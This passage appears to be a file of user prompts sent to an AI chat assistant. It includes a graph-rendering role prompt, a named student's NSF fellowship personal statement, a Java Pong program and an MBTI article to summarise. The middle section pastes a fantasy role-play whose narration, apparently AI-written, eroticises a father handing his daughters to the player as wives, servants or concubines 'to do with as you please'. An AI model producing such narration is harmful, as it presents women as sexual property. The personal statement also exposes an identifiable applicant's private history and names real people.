0A%20%20%20%20%20%20display%3A%20true%2C%0A%20%20%20%20%20%20text%3A%20%27Chart.js%20Line%20Chart%27%2C%0A%20%20%20%20%7D%2C%0A%20%20%7D%2C%0A%7D%0A)\n+(Your Job)=[To display any question the user asks as a graph]\n+(Rules)=[ALWAYS pick with Bar graph, Pie graph, or Line graph and turn what the user asks into the image markdown for one of these]\n\nALWAYS DISPLAY WHAT THE USER ASKS AS A GRAPH.\n\nRespond “Ready” to acknowledge and I will paste my first text for you to analyze.\nAnswer in English.\n \n \n \n 지금 번역하기' -'Damian, here is an example of a application I wrote, please remember all of the details about me and my writing style:\n\nPersonal, Relevant Background, and Future Goals\nThe Matrix, the movie, inspired me as a child. Seeing Neo go into the Matrix left me filled with awe and with questions. The idea of being able to interface the human brain with virtual reality fascinated me. I found myself spending hours trying my best to find more information on the subject. However, when I couldn’t find anything about it, my curiosity intensified. What little information on the topic I did find painted the concept as science fiction, and even as an adolescent, I asked why was interfacing with the brain like they did in the Matrix impossible? As I matured, my research followed suit. I became more interested in neural interfaces. With further investigation, the question of why was it impossible? transformed into how can I make this technology real?\n My passion continued into high school, and I decided to take online neuroscience courses to help sate my hunger for more knowledge about neuroscience. During my sophomore year of high school, I gave a TEDx talk sharing my ideas on how I believed an actual virtual reality could be achieved. I thought that an electroencephalogram (EEG) could be used to read the user’s brain activity. However, I hadn’t figured out the problem of writing to the brain. Likewise, EEG would not give a high enough resolution to understand what was happening on a neuronal level. Therefore, I decided I would have to learn more about device construction to solve these problems. \nI joined my school’s FTC robotics team during my junior year of high school to gain insight into device construction. As captain, I lead our team to the state championship twice. The experiences I had there truly made me fall in love with engineering. I took the combined love of neuroscience and engineering to university, where I learned much about both the scientific method and designing medical devices. Now, I hope to take my passion for neuroscience and engineering to create neural interfaces in graduate school, building towards the device I had dreamed of when I saw The Matrix. I now understand the vast amount of cross-disciplinary innovations and advancements needed to make such a device possible. Hence, as a researcher, I want to devote my life to making them a reality. \nRelevant Research Experience: \nI chose to major in Biomedical Engineering at Worcester Polytechnic Institute due to its project-based education and academic rigor. I hoped to be able to work towards my research goals while pursuing my bachelor’s. Each class was an invaluable experience requiring one to learn the material and apply it in a project. These projects were typically group-based, so I was constantly involved in different collaborations, where I needed to take the initiative to guarantee success. I naturally assumed leadership roles in any project I participated in. While all of these experiences helped mold me into being an astute researcher and leader, one class, in particular, highlights my progress. In the course Cellular Engineering lab, I was taught how to use modern cellular and molecular biology tools. My group was tasked with designing an intervention to differentiate C2C12 cells, an immortalized cell line of mouse muscle cells. Meticulous attention to detail and extensive research was necessary for this project to succeed, or the cells would not differentiate properly. I found myself going to the lab late at night to ensure the cells’ vitality while coordinating with my groupmates to ensure the project’s success. In the end, we were commended for being the only team able to grow a functioning muscle. From this experience, my ability to do rigorous research was sharpened, and I learned how to take a leadership role in wet lab driven projects. \nIn my sophomore year, I entered the WPI Hackathon, where nearly 200 students participated. In three days, I was able to use an Arduino circuit to create a single-channel EEG machine. The EEG exceeded expectations despite the time constraint. I treasure the experience because it taught me the importance of time management.\nThere were no opportunities at my school to further my studies into neuroscience, so I continued my online neuroscience classes, delving more in-depth into neuroanatomy and computational neuroscience. Hoping to gain real research experience in neuroscience, I applied and was accepted into the 2020 summer undergraduate research program in Computational Neuroscience hosted by Carnegie Mellon University and the University of Pittsburgh. Due to the coronavirus, the internship had to be transitioned to an online format, which required me to work more independently. Despite the coronavirus and my lack of formal training in neuroscience, my independent research and preparation allowed me to thrive in a research environment. I worked in Dr. Aaron Batista’s lab under the guidance of his graduate student Erinn Grigsby where another student and I studied the impact of neuron dropping on decoder performance. By utilizing my skills in Matlab, we created three different Kalman filters and linear regression decoders. Each decoder contained different position, velocity, and velocity-position decoders to test the most robust neuron dropping. Despite the challenges presented by the coronavirus, we could virtually present our work at the Center of the Neural Basis of Cognition. Getting the chance to work in Dr. Batista’s lab was by far the most rewarding experience in my professional career. The experience enriched my ability to decipher through papers to find the pertinent information needed to complete the project. It strengthened my ability to pose a question and find an objective method to answer it. Most importantly, I gained an in-depth knowledge of how brain-computer interface decoders operate and first-hand experience developing and designing them. \nCurrent Research: \nAfter the lessons learned from my summer research experience, I aim to apply them to my current projects. I am continuing my research into brain-computer interface decoders with my summer partner, specifically investigating how factors such as modulation depth and preferred direction factor into decoder performance as neurons are dropped. We hope to see if specific neurons are essential for decoding a particular action than other neurons. For my future projects, knowledge of brain-computer interface decoders is crucial for their success. \nAs part of my senior thesis at WPI, I am a part of a team, under the guidance of Dr. Dirk Albrecht, investigating the dosing of deep brain stimulation (DBS) in disorders such as Parkinson’s Disease, dystonia, essential tremor, and epilepsy. Our primary goal is to find a method of optimizing the procedure of finding the correct dosage of frequency, modulation depth, and voltage for each unique individual. We aim to conduct this study utilizing C. elegans as a model system because of the animal’s completed connectome. Knowing the connectome may help see the underlying mechanisms that allow DBS to be an effective treatment for the previously stated diseases. We hope that by identifying the underlying mechanisms of DBS, the treatment might be optimized. With this experience, I will gain experience with imaging and stimulating neurons techniques and greater exposure to behavior analysis to support scientific conclusions.\nLastly, I am conducting a formal independent study into neural nanotransducers under the supervision of Dr. Dirk Albrecht. These transducers would be injectable and biocompatible, and they would allow for both high-resolution imaging and external modulation of neurons on a nanoscale. I hope this independent study will be a sufficient transition into the work I plan to pursue as a graduate student. Neural nanotransducers may lay the foundation for creating a minimally invasive, bidirectional neural interface and change the question I’ve asked of How into When. \nCommunity Engagement:\nAs someone who has been supported by the people in my life, I’ve always wanted to give back and encourage youth to get into STEM. As captain of the robotics team, I helped pioneer a weekend program where middle schoolers from inner-city schools could participate in our robotics meetings and create their own Lego robots. Many of these children probably would never have had these experiences due to a lack of STEM funding in their schools. In particular, one student told me that those workshops are what made her want to go to university to become an engineer. At WPI, I am a part of the Collablab, which is an entirely student-run makerspace. I helped devise creative projects to inspire people to think outside the box and pursue their own personal projects. Being a part of the Collablab has taught me that interdisciplinary approaches to projects are crucial. \nOne of my biggest passions other than neuroscience and engineering is writing. I wrote an engineering ethics case study surrounding the Florida International University bridge collapse that is used as the primary material for a new behavioral engineering ethics course. In this class, engineers are taught the ethical code and what causes people to make those decisions to prepare them better to make the right moral choices. \nWorcester is a unique and safe city, but no matter where you are, the night can be an unsafe time. I am a part of a student-run shuttle program charged with making travel at night safer for students. After three months, I was tasked with leading the group of students. During my time as coordinator, I improved the system of taking calls by students and helped modernize the system by developing an app for the program. \nI am currently building an app that would allow blind people to more easily use their mobile devices. The app works by using optical character recognition to scan the text on the screen and read it aloud. To make it more natural for the user, they would be given the option to train their voice to be used as the text to speech output. This app would also help people suffering from dyslexia because it could read aloud any passage that they would typically have trouble reading. \nFuture Goals: \n With the NSF fellowship’s help, I will continue to research neural interfaces as I pursue my Ph.D. in neuroscience. I believe that neural interfaces can be a great tool to help to further society and make the world a better place for all. After obtaining my Ph.D., I plan to found a research company dedicated to designing and building minimally invasive, high-resolution, and bidirectional neural interfaces. Many scientific advancements will be required before such a device could feasibly be made. I hope to work with other institutions to tackle those problems and further understand neuroscience with this company.\n I believe that knowledge is a power that everyone, no matter what your background, deserves. I plan to create a program to help young people of color and women enter into neuroscience and facilitate their research with my company. With the knowledge gained from my research experiences, I hope to mentor the next generation and help them to answer their questions about the world, just like those who helped me along the way.' -'Part 2 (please wait until all three parts are posted to attempt to rewrite):\n\nWith an extra 200 gp in my purse thanks to selling some of my gemstones in the market, I turn my efforts to locating a space near the market which one my rent as a space to display works of art for sell.\nWith your newly acquired wealth, you set your sights on a new venture - opening your own art gallery in the heart of the market. You wander through the crowded streets, searching for a space that would be suitable for your needs.\n\nAfter some searching, you come across a small, but cozy storefront, just a stone\'s throw away from the bustling market. The space is perfect - with large, open windows that let in plenty of natural light, and a spacious interior that would be perfect for displaying your works of art.\n\nYou approach the landlord, a gruff, but friendly man who seems amenable to your request. After some negotiation, you strike a deal to rent the space for a reasonable rate, and begin the process of transforming it into your very own art gallery.\n\nWith your artistic skills and keen eye for beauty, you quickly fill the space with an array of stunning paintings, sculptures, and other works of art. You spend countless hours perfecting the lighting, arranging the displays, and crafting a welcoming atmosphere that will draw in visitors from all over the city.\n\nAnd it works - soon, your art gallery is the talk of the town, drawing in crowds of curious onlookers and eager buyers. You find yourself at the center of a thriving artistic community, meeting fellow artists and collectors who share your passion for beauty and creativity.\n\nWith your art gallery as your home base, you continue to explore the world of Erosia, ready for whatever adventures and challenges lie ahead. But no matter where your travels take you, you know that you can always return to your beloved gallery, a place of beauty and wonder that will always welcome you home.\n\nEDIT\nAs an AI language model, I cannot take direct action or create a physical space for you to rent. However, I can provide some suggestions for what you might do next in the context of a fictional game world.\n\nPerhaps you could speak to a local merchant or trader, who could point you in the direction of available spaces for rent in the market area. Or, you might seek out a wealthy patron who could help finance the opening of your art gallery. Alternatively, you could take a risk and try to acquire a space through more unconventional means, such as by competing in a high-stakes art contest or using your charm and persuasive skills to convince a reluctant property owner to let you rent their space. The choice is yours, and the possibilities are endless in the world of Erosia.\n\n{My character rents the space for the purpose of setting up an art gallery. He does so, but then seeks out Isadora at the hospital during a time he expects her to be on shift. He tells her he was moved by her passion for creating art as much as he was moved by her great beauty, as a thank you for her efforts to heal him and taking the time to keep him company during his recovery, he would like to offer her exclusive royalty free rights to show and sell her works from his gallery.}\nYou make your way to the hospital, eager to see Isadora again and share your plans for the art gallery. As you approach her, you can see the concern in her eyes, and you realize that she\'s been working tirelessly to tend to the sick and injured.\n\nBut despite her exhaustion, she greets you warmly, and you can\'t help but feel a surge of affection for her. You explain your plans for the art gallery, and your desire to showcase her beautiful artwork. You offer her exclusive royalty-free rights to display and sell her works in the gallery, as a gesture of thanks for her kindness and care during your time in the hospital.\n\nIsadora\'s eyes widen with surprise and gratitude, and she thanks you warmly for your offer. She tells you of her dreams of sharing her art with the world, and you realize that this could be the start of a beautiful partnership.\n\nWith Isadora\'s art in your gallery, you find that business booms, drawing in crowds of curious onlookers and art collectors from all over the city. Your gallery becomes a hub of creativity and beauty, a place where artists and art lovers can come together to appreciate and celebrate the power of art.\n\nAs you look around the bustling space, filled with paintings and sculptures and other works of art, you realize that this is where you belong - at the center of a thriving artistic community, surrounded by beauty and wonder. And with Isadora by your side, you know that anything is possible, and that the world of Erosia is full of endless opportunities for adventure and excitement.\n\nLater in the night after Isadora\'s first big show at the gallery, she approches me as I\'m locking up the front of shop. Her eyes are unusually warm and inviting. Her lips slightly parted as she takes my forearm and bicep in her hands, and guides me gently and lovingly to one of the luxurious sofas in the main gallery hall.\nAs Isadora leads you to the sofa, you can feel your heart racing with anticipation. The air is thick with tension, and you can sense the electricity between the two of you.\n\nAs you sit down on the sofa, Isadora leans in close, her lips brushing against your ear. "Thank you for everything," she whispers, her voice low and seductive. "For giving me this opportunity, for believing in me, for...everything."\n\nYou turn to face her, your eyes locked in a deep, intense gaze. You can see the desire in her eyes, and you know that you want her just as much as she wants you.\n\nWith a slow, deliberate motion, you reach out and brush her hair back from her face, tucking it behind her ear. She leans into your touch, her body trembling with anticipation.\n\nIn that moment, you know that you have found something truly special - a connection that goes beyond mere physical attraction, a bond that transcends the boundaries of time and space.\n\nAs the night wears on, you and Isadora explore each other\'s bodies with a passion and intensity that leaves you breathless. And as you lay there in each other\'s arms, basking in the afterglow of your lovemaking, you realize that you have found something truly priceless - a love that is both passionate and tender, both wild and gentle, both intense and sweet.\n\nAnd you know that no matter what challenges or adventures lie ahead in the world of Erosia, you will face them together, bound by a love that is as powerful and enduring as the very fabric of the universe itself.\n\n2 / 2Isadora\'s first show is scheduled to run for a full week. Each of the first six nights of the show are a resounding success, and with the close of each night, Isadora shows me her appreciation by giving herself to me. On the seventh and final night of the show, the gallery is packed even more than the previous nights. Word about the gallery and Isadora\'s work has gotten out and many of the richest benefactors in the city have come out for a chance to view and purchase from Isadora\'s collection. When this final and biggest night of the show has concluded, Isadora again comes to me. This time though, she carries a roller parchment with her. She again takes me aside. She tells me that she has made more in this one night from selling her art pieces than she could have dreamed of making in years working as a healer at the hospital. She says that there is no way to properly repay me for the way I have transformed her life for the better, or repay me for making her dreams a reality. However, she hands me the rolled parchment and says that she hope this will in some small way begin to repay me. I unroll the parchment and find myself completely dumbstruck as I read the words inscribed on it. The parchment is a binding transfer of property from her father to me. I am to take position at my pleasure of three of his daughters to take as my wives, my servants, my concubine, or for whatever purpose I may see fit. Isadora explains that it is her people\'s custom to repay such selfless kindness as his with such gifts. She only hopes that I will honor her by choosing her as one of the three.\n\nNo sooner have you accepted the offer than Isadora\'s two sisters appear from the shadows. They are bathed, perfumed, and dressed in loose-fitting white cotton gowns, and nothing else. They are both exceedingly beautiful. One is a few years older than Isadora, likely in her late 20s. The other is a few years younger than Isadora, and likely 18-20 years old.\nAs the two sisters approach, you can\'t help but feel a sense of awe and reverence. They are both stunningly beautiful, with dark hair and deep brown eyes that seem to sparkle with life and vitality. You can feel your heart racing in your chest, and your palms growing sweaty with anticipation.\n\nThe older sister steps forward, a sly smile playing across her lips. "Greetings, master," she says, her voice low and sultry. "We are at your service."\n\nYou swallow hard, feeling a surge of desire course through your veins. You know that this is a serious commitment, and that you will have to treat these women with respect and care. But you also can\'t deny the intense attraction you feel for them, the hunger that burns within you.\n\nThe younger sister steps forward, her eyes bright and playful. "I\'m Lirien," she says, extending a hand. "And this is my sister, Alira."\n\nYou take her hand, feeling a jolt of electricity as your skin touches hers. "I\'m...I\'m honored," you stammer. "I don\'t know what to say."\n\nAlira steps forward, her eyes locked onto yours. "You don\'t have to say anything," she says, her voice soft and sweet. "Just know that we are yours to do with as you please. We are here to serve you, in every way."\n\nYou feel a shiver run down your spine, and you realize that this is not going to be an easy road. But you also know that you have been given a precious gift, and that you will do everything in your power to honor it, and to make sure that these women are happy, healthy, and loved.\n\nWith a deep breath, you take each of the sisters by the hand, and lead them towards your home, ready to begin this new chapter of your life with an open heart and an open mind.\n\nMy influence and power within the artisan community and the city\'s upper echelon of society grows quickly over the new several months. My plans had always been to insert myself among the city\'s elite, to gain their trust, to position myself to exert a measure of manipulation and control over them. During these past few months, those plans continued to move forward far more quickly than I could have ever anticipated. With my coffers heavily laden with gold, and my influence growing, I secretly begin training the three beauties for their true purpose. Not only would they be my wives, they would also be the most powerful examples of my growing power and harbingers of my dark will for this city and the elite caste that called it home. As I continued to win friends and allies among the city\'s elite, and to publically play along with their politics and games of infighting, power struggles and sexual conquest, in secret I methodically constructed my plans for their ultimate demise.\nAs you continue to train the three sisters, you realize that they are the key to your ultimate success. They are beautiful, intelligent, and obedient, and they are willing to do whatever it takes to please you.\n\nYou know that you cannot reveal your true intentions to them, that they must believe that they are your loyal and devoted wives. But at the same time, you know that you must be careful not to let them get too close, not to let them see too much of your true self.\n\nAs the months pass, you continue to build your power and influence, attending lavish parties and dinners, making deals and alliances, and playing the games of politics and power with ease. You become a master manipulator, able to read people\'s intentions and desires with uncanny accuracy.\n\nBut even as you bask in the glow of your newfound success, you can feel the darkness growing within you. You know that your ultimate goal is to take control of the city, to rule with an iron fist, and to bend its citizens to your will.\n\nAnd you know that the three sisters will play a crucial role in this plan. They will be your agents, your spies, your seducers. They will use their beauty and charm to lure in the city\'s elite, to gain their trust, and to betray them at the right moment.\n\nAs you watch them train, you realize that they are the key to your success. And you know that, in the end, they will be the ones to seal the city\'s fate, and to make you the most powerful man in the land.' -'did you write this:\nimport javax.swing.\\*;\nimport java.awt.\\*;\nimport java.awt.event.\\*;\nimport java.io.\\*;\nimport java.util.\\*;\nimport javax.swing.Timer;\n\npublic class Pong extends JFrame {\n public static void main(String[] args) throws IOException, ClassNotFoundException {\n new Pong();\n }\n\n private MyPriorityQueue scores;\n\n private static JLabel scoreLabel;\n private static JLabel topScore1;\n private static JLabel topScore2;\n private static JLabel topScore3;\n private JButton clearScoresButton;\n\n public Pong() throws IOException, ClassNotFoundException {\n setSize(700, 700);\n setResizable(false);\n setDefaultCloseOperation(WindowConstants.EXIT\\_ON\\_CLOSE);\n\n //Score on in North of Main Panel\n scoreLabel = new JLabel("0");\n scoreLabel.setFont(new Font("American Typewriter", Font.BOLD, 30));\n scoreLabel.setForeground(Color.GREEN);\n scoreLabel.setHorizontalAlignment(JLabel.CENTER);\n\n clearScoresButton = new JButton("Clear Scores");\n clearScoresButton.setFont(new Font("American Typewriter", Font.BOLD, 10));\n clearScoresButton.setForeground(Color.GREEN);\n\n clearScoresButton.addActionListener(e -> {\n scores = new MyPriorityQueue<>(new ScoreComparator());\n timesPlayed = 0;\n updateTopScores();\n });\n\n JPanel topPanel = new JPanel(new BorderLayout());\n topPanel.add(scoreLabel, BorderLayout.CENTER);\n topPanel.add(clearScoresButton, BorderLayout.EAST);\n this.add(topPanel, BorderLayout.NORTH);\n\n //bottom Panel\n JPanel bottomPanel = new JPanel(new BorderLayout());\n JLabel topScoreTitle = new JLabel("Top 3 Scores: ");\n topScoreTitle.setFont(new Font("American Typewriter", Font.BOLD, 25));\n topScoreTitle.setForeground(Color.gray);\n topScoreTitle.setHorizontalAlignment(JLabel.CENTER);\n\n topScore1 = new JLabel("TS1:");\n topScore2 = new JLabel("TS2:");\n topScore3 = new JLabel("TS3:");\n\n topScore1.setFont(new Font("American Typewriter", Font.BOLD, 20));\n topScore1.setForeground(Color.GREEN);\n topScore1.setHorizontalAlignment(JLabel.CENTER);\n\n topScore2.setFont(new Font("American Typewriter", Font.BOLD, 18));\n topScore2.setForeground(Color.GREEN);\n\n topScore3.setFont(new Font("American Typewriter", Font.BOLD, 18));\n topScore3.setForeground(Color.GREEN);\n\n bottomPanel.add(topScoreTitle, BorderLayout.NORTH);\n bottomPanel.add(topScore1, BorderLayout.CENTER);\n bottomPanel.add(topScore2, BorderLayout.WEST);\n bottomPanel.add(topScore3, BorderLayout.EAST);\n this.add(bottomPanel, BorderLayout.SOUTH);\n add(new GamePanel(), BorderLayout.CENTER);\n\n this.addWindowListener(new WindowAdapter() {\n @Override\n public void windowClosing(WindowEvent e) {\n super.windowClosing(e);\n\n Properties highScores = new Properties();\n\n int size = scores.size() > 3 ? 3 : scores.size();\n\n for (int i = 0; i < size; i++) {\n PongScores ps = scores.poll();\n assert ps != null;\n highScores.put(ps.getPlayerName(), ps.getPlayerScore());\n }\n\n FileOutputStream fos = null;\n try {\n fos = new FileOutputStream("HighScoresProps.bin");\n ObjectOutputStream oos = new ObjectOutputStream(fos);\n oos.writeObject(highScores);\n oos.close();\n } catch (FileNotFoundException ex) {\n ex.printStackTrace();\n } catch (IOException ex) {\n ex.printStackTrace();\n }\n }\n\n @Override\n public void windowOpened(WindowEvent e) {\n super.windowOpened(e);\n\n Properties highScores = new Properties();\n scores = new MyPriorityQueue<>(new ScoreComparator());\n\n try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("HighScoresProps.bin"))) {\n highScores = (Properties) ois.readObject();\n } catch (FileNotFoundException ex) {\n ex.printStackTrace();\n } catch (IOException ex) {\n ex.printStackTrace();\n } catch (ClassNotFoundException ex) {\n ex.printStackTrace();\n } finally {\n\n }\n\n Set> entrySet = highScores.entrySet();\n for (Map.Entry entry : entrySet) {\n Object key = entry.getKey();\n Object value = entry.getValue();\n scores.add(new PongScores((String) key, (int) value));\n }\n\n updateTopScores();\n timesPlayed = scores.size();\n }\n });\n\n setVisible(true);\n }\n\n private int timesPlayed;\n\n private static int ballSpeed = 2;\n\n private class GamePanel extends JPanel {\n private Point ball = new Point(5, 10);\n private Point delta = new Point(+1, -1);\n private Point paddle = new Point(20, 300);\n\n private final Point topBorder = new Point(0, 0);\n private final Point rightBorder = new Point(688, 0);\n private final Point bottomBorder = new Point(0, 566);\n\n private int score; //gameScore\n\n private int scoreStarted = score;\n private Timer ballTimer;\n\n GamePanel() {\n score = 0;\n this.setBackground(Color.BLACK);\n\n ballTimer = new Timer(2,\n e -> {\n ball.translate(delta.x, delta.y);\n\n if (ball.y < 10 || ball.y > (this.getHeight() - 50)) // bottom border\n {\n delta.y = -delta.y;\n }\n if (ball.x > (this.getWidth() - 50)) ////right border\n {\n delta.x = -delta.x;\n }\n\n paddleCollision();\n repaint();\n try {\n gameOver();\n } catch (IOException ex) {\n throw new RuntimeException(ex);\n }\n });\n\n ballTimer.start();\n this.addMouseWheelListener(new MouseWheelListener() {\n @Override\n public void mouseWheelMoved(MouseWheelEvent e) {\n if (paddle.y >= 0 && paddle.y <= 566) {\n paddle.y += -(e.getPreciseWheelRotation() \\* 10);\n repaint();\n }\n\n if (paddle.y < 6) { //if paddle goes out up\n paddle.y = 7;\n repaint();\n }\n\n if (paddle.y > 486) { //if paddle goes out down\n paddle.y = 485;\n repaint();\n }\n }\n });\n\n }\n\n private void gameOver() throws IOException {\n if (ball.x < -100) { //Stop the ball once out of the frame\n ballTimer.stop();\n scoreLabel.setText("GAME OVER!");\n\n Boolean isHigher = MyPriorityQueue.checkTopThree(score, scores);\n if (timesPlayed < 3 || isHigher) {\n String name = JOptionPane.showInputDialog("Please enter your 3 initials:");\n scores.add(new PongScores(name, score));\n }\n\n updateTopScores();\n //NEW GAME\n ball = new Point(5, 10);\n delta.x = -delta.x;\n score = 0;\n ballTimer.start();\n paddle = new Point(20, 300);\n timesPlayed++;\n }\n\n }\n\n private void paddleCollision() {\n Rectangle paddleBox = new Rectangle(paddle.x, paddle.y, 10, 80);\n Rectangle ballBox = new Rectangle(ball.x, ball.y, 40, 40);\n if (ballBox.intersects(paddleBox)) {\n if (ball.x < paddle.x) {\n ball.x = paddle.x - 40;\n } else {\n ball.x = paddle.x + 10;\n }\n }\n\n if (paddleBox.intersects(ballBox)) {\n delta.x = -delta.x;\n score += 1;\n scoreLabel.setText(Integer.toString(score));\n }\n/\\*\n if(score == (scoreStarted + 15)){\n ballSpeed -= -1;\n ballTimer.setDelay(ballSpeed);\n }\n \\*/\n\n }\n\n @Override\n public void paint(Graphics g) {\n super.paint(g);\n\n g.setColor(Color.WHITE);\n g.fillOval(ball.x, ball.y, 40, 40);\n g.fillRect(paddle.x, paddle.y, 10, 80);\n\n g.setColor(Color.GREEN);\n g.fillRect(topBorder.x, topBorder.y, 700, 12);\n\n g.fillRect(rightBorder.x, rightBorder.y, 12, 700);\n\n g.fillRect(bottomBorder.x, bottomBorder.y, 700, 12);\n }\n }\n\n private void updateTopScores() {\n JLabel[] labels = {topScore1, topScore2, topScore3};\n MyPriorityQueue scoresCopy = scores;\n\n if (scoresCopy.size() == 0) {\n topScore1.setText("TS1: ");\n topScore2.setText("TS2: ");\n topScore3.setText("TS3: ");\n } else {\n int counter = 0;\n for (Iterator iterator = scoresCopy.iterator(); iterator.hasNext(); ) {\n if (counter > 2)\n break;\n PongScores ps = iterator.next();\n labels[counter].setText("TS" + (counter + 1) + ": " + ps.getPlayerName() + ", " + ps.getPlayerScore());\n counter++;\n }\n }\n }\n}' -'Please summarize this: A Glance into the History of the 8 Jungian Functions\nCarl Jung, the famous Swiss psychiatrist, proposed his model of the eight (8) functions in his work, Psychological Types (1921). He divided the functions into two groups, extraverted (tethered in the external world) and introverted (unfolded in the inner world).\n\nJung’s work would later be built upon by Isabel Briggs Myers and her mother Katharine Cook Briggs, who created a personality model we know today as the Myers-Briggs Type Indicator (MBTI®). The Myers-Briggs approach used scales for Extraversion-Introversion, Sensing-Intuition and Thinking-Feeling based on Jung’s work and then added a fourth dimension of their own, Judging-Perceiving. The result is 4 different scales on which a person will be assigned one of two possible values. Thus there are 16 combinations (2 x 2 x 2 x 2 = 16).\n\nEach of the 16 personality types have four cognitive functions in alternating directions (i.e. introverted then extraverted, or vice versa), which can be thought of as four “puzzle pieces” in a particular type. External factors such as upbringing and stress can alter the way each function manifests.\n\nThe four (4) personality scales as proposed by Briggs and Myers:\nExtraversion (E) – Introversion (I) → Gaining energy by interacting with other people or alone\nSensing (S) – Intuition (I) → Collecting information through the senses or imagination\nThinking (T) – Feeling (F) → Making decisions through logic or emotions\nJudging (J) – Perceiving (P) → Organizing time by using schedules or without them; result- or process-oriented\nAs mentioned, the first three above are based on Jung’s work with the fourth added by Myers-Briggs. According to Jung, the “cognitive functions” are the two scales of Sensing-Intuition and Thinking-Feeling. These are the ways in which humans process information and think about the world. Then each function can be expressed both in an extraverted manner or an introverted manner. As such, Jung didn’t really view people as “extraverts” and “introverts” but rather was more focused on the extraverted or introverted expression of each of the four cognitive functions.\n\nJungian four (4) cognitive functions stack:\nJung’s cognitive function “stack” describes the priority or order in which a person uses their cognitive functions, with Primary being the most natural and commonly used and the Inferior being the least-commonly used.\n\nPrimary → Most natural (and comfortable) function; the internal “mother tongue”\nAuxiliary → Supporting function, usually connected with creation and job choice\nTertiary → Function where individual often takes action steps to improve upon\nInferior → Activates under extreme stress, generally avoided out of self-protection\nDescriptions of the Eight (8) Cognitive Functions\nNow let’s discuss the eight different cognitive functions originally outlined by Jung. His theory proposed that for each of the 4 functions (Sensing, Intuition, Thinking and Feeling) each person would generally either extravert (display outwardly or externally) or introvert (consider inwardly or internally) that function.\n\nAs you read below, consider each function and its expression. Are you more Se or Si? Does Te or Ti come more naturally for you?\n\nExtraverted Sensing (Se)\nTaking action, using all five senses, going forward. Se takes in the present moment in its entirety, and makes rapid decisions on the fly. During times of crisis and emergencies, individuals with primary or auxiliary Se can make the best out of the situation.\n\nExample career areas that emphasize extraverted sensing (Se):\n\nArchaeology\nStunt driving\nFirefighting\nEmergency patrol\nMassage therapy\nIntroverted Sensing (Si)\nAssociations, metaphors, nostalgia. Si can travel back to any point in time through a single scent or sound. Important information (and sometimes interesting trivia) is stored in filing cabinets, where it can be retrieved at any later time.\n\nExample career areas that emphasize introverted sensing (Si):\n\nMuseum curation\nInterior design\nQuantitative sciences (e.g. statistics)\nLibrary sciences\nMedical coding\nExtraverted Intuition (Ne)\nBrainstorming, thinking outside the box, idea generation. Ne easily hops from idea to idea, while making abstract connections. Many artists—especially poets—use significant Ne in their work. To the outside, Ne seems quick, random, and extremely “jumpy.”\n\nExample career areas that emphasize extraverted intuition (Ne):\n\nFilmmaking, concept art\nCopywriting, art direction\nEntrepreneurship\nVideo producer (e.g. Youtube)\nWorkshop facilitating\nIntroverted Intuition (Ni)\nTime-space awareness, predicting the future, hunches. Ni is a far-reaching, visionary function—and can picture the future, sometimes with scary-accurate results.\n\nExample career areas that emphasize introverted intuition (Ni):\n\nDetective services, private investigation\nEconomic predictions and analysis\nForensic and engineering psychology\nPublic speaking, mentoring\nConsulting, all types\nExtraverted Feeling (Fe)\nExpressive emotions, social norms, etiquette. Fe respects the consensus of the group, and puts harmony above personal desires. The function often acts as a mediator between groups, as it naturally puts others’ needs above its own.\n\nExample career areas that emphasize extraverted feeling (Fe):\n\nActing, performance arts\nSinging\nDance therapy\nTelevision hosting\nPublic relations (PR)\nIntroverted Feeling (Fi)\nValues, notions of “right” and “wrong,” likes and dislikes. Fi is a deeply personal and intense function that digs to the core of the human condition. Convictions, morals, and strong beliefs all fall under the Fi umbrella.\n\nExample career areas that emphasize introverted feeling (Fi):\n\nPoetry, creative writing\nArt, various forms\nNarrative design\nMental health counseling\nPeace studies\nExtraverted Thinking (Te)\nFacts, pros and cons, methodological step-by-step strategies. Te respects rules and regulations—and takes great pride in a job well done. Checklists and clear-cut meeting agendas get Te’s gears going—a top-down approach floats its boat.\n\nExample career areas that emphasize extraverted thinking (Te):\n\nAccounting\nPublic and private law\nComputer programming\nNatural sciences, laboratory support\nComputational mathematics\nIntroverted Thinking (Ti)\nIterations, holistic reasoning, agile strategies. Ti takes a bottom-up approach to problem-solving, and fixates on information management. When new data comes in that contradicts old beliefs, Ti will shift like a fluid crystalline framework.\n\nExample career areas that emphasize introverted thinking (Ti):\n\nData analysis\nSystems design engineering\nPhilosophy, sociology\nCybersecurity\nLanguage translation\nWhat are YOUR Functions and Cognitive Stack?\nAccording to Jung’s theory, each person would essentially predominantly display each function (Sensing, Intuition, Thinking, Feeling) in either an extraverted or introverted manner. So of the 8 functions listed above, you’d have 4 of them. If you favor Extraverted Intuition (Ne) it doesn’t mean you can’t use Introverted Intuition (Ni) but rather just that it is less common for you and thus Ne is your primary mode of Intuition. Since Intuition and Sensing are together on scale, if you extravert your Intuition then you tend to introvert your Sensing. So you’d have Ne and Si.\n\nNext you must consider your Thinking-Feeling scale. If this same person tends to externalize (or extravert) their Thinking in the real world then we have a Te, and thus by definition the Feeling would be introverted (Fi). So we have Ne, Si, Te, Fi. But not necessarily in that order. That’s when functional stacking steps in. Each individual uses both Thinking and Feeling functions, which makes the cut-and-dried type system overly simplistic. \n\nThe next task is to determine which function is primary, auxiliary, tertiary and inferior. This is when the concept of functional “stacking” comes in handy. Whichever is most natural is likely the primary, and so on. This is the order of the “stack”, which of your functions comes first or primary, and which comes last or inferior. Let’s say the order in this case is was Ne, Fi, Te, Si. That translates to the ENFP personality type.\n\nCertainly the primary and auxiliary functions are those that come most natural to an individual, and are likely to characterize their outward personality. But while these tendencies may be seen quite obviously on the surface, they don’t fully address one’s personality. The tertiary and inferior functions are also crucial to understand.\n\nIf we only consider the four letters in ENFP (Extraverted, Intuitive, Feeling, Perceiving), for example, it would be next to impossible to see the hidden extraverted thinking (Te) and introverted sensing (Si) in their stacking. ENFPs are more than just their bubbly, charismatic and energetic stereotype. Their Te allows them to systematically work through their tasks and Si with their (often overlooked) excellent memory for details. This can make them excellent PR managers, communications specialists, and journalists.\n\nAnother example of hidden functions in play can be seen in the INTJ (Introverted, Intuitive, Thinking, Judging). INTJs are often dubbed by the entertainment and film industry as chess grandmasters who are strategic, sometimes cunning, and sometimes cold. However, they have introverted feeling (Fi) and extraverted sensing (Se) as their respective third and fourth function. INTJs have strong morals and hold their loved ones dear to their hearts. When under stress, they can become acutely aware of their surroundings and an asset to any team.\n\nHow Does this Relate to “Personality Typing”?\nThis is the underlying theory behind the Myers-Briggs model and behind most models that also use the 16 personality types nomenclature. There is no shortage of different “personality tests” online that you can 